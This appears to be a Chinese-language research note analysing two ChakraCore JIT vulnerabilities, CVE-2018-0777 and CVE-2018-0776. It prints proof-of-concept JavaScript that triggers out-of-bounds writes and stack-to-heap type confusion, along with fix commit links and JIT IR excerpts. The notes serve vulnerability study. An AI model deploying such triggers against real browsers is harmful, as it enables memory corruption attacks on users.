babyJessica

CVE-2018-0777 Code Motion PoC function opt(arr, start, end) { for (let i = start; i < end; i++) { if (i === 10) { i += 0; // <<-- (a) } arr[i] = 2.3023e-320; } } function main() { let arr = new Array(100); arr.fill(1.1); for (let i = 0; i < 1000; i++) opt(arr, 0, 3); opt(arr, 0, 100000); } main(); //https://github.com/Microsoft/ChakraCore/commit/14c752b66f43ee6ecc8dd2f7f9d5378f6a91638e IR 这是 lower 之后的部分 IR: Line 6: arr[i] = 2.3023e-320; Col 9: ^ StatementBoundary #4 #001d GLOBOPT INSTR: BoundCheck 0 <= s18(s9).i32 #001d Bailout: #001d (BailOutOnArrayAccessHelperCall) TEST s18(s9).i32, s18(s9).i32 # JNSB $L18 # $L19: [helper] ...

CVE-2018-0776 Stack-to-Heap CVE-2018-0776 Credit to lokihardt function inlinee() { return inlinee.arguments[0]; } function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */ let stack_arr = []; // JavascriptNativeFloatArray stack_arr[10000] = 1.1; stack_arr[20000] = 2.2; let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr); stack_arr[10000] = 2.3023e-320; return heap_arr[10000]; } function main() { for (let i = 0; i < 10000; i++) { opt(new Function('')); // Prevents to be inlined } print(opt(heap_arr => { heap_arr[10000] = {}; // ConvertToVarArray })); } main(); //https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de Feature 1: Inlining 2 个栈帧折叠为 1 个栈帧 省去将 Inlinee 参数压栈的过程 某些情况下, 需要将折叠的栈帧还原回来, 例如 Bailout Feature 2: Stack Object 分配到栈上的代码: bool Lowerer::GenerateRecyclerOrMarkT...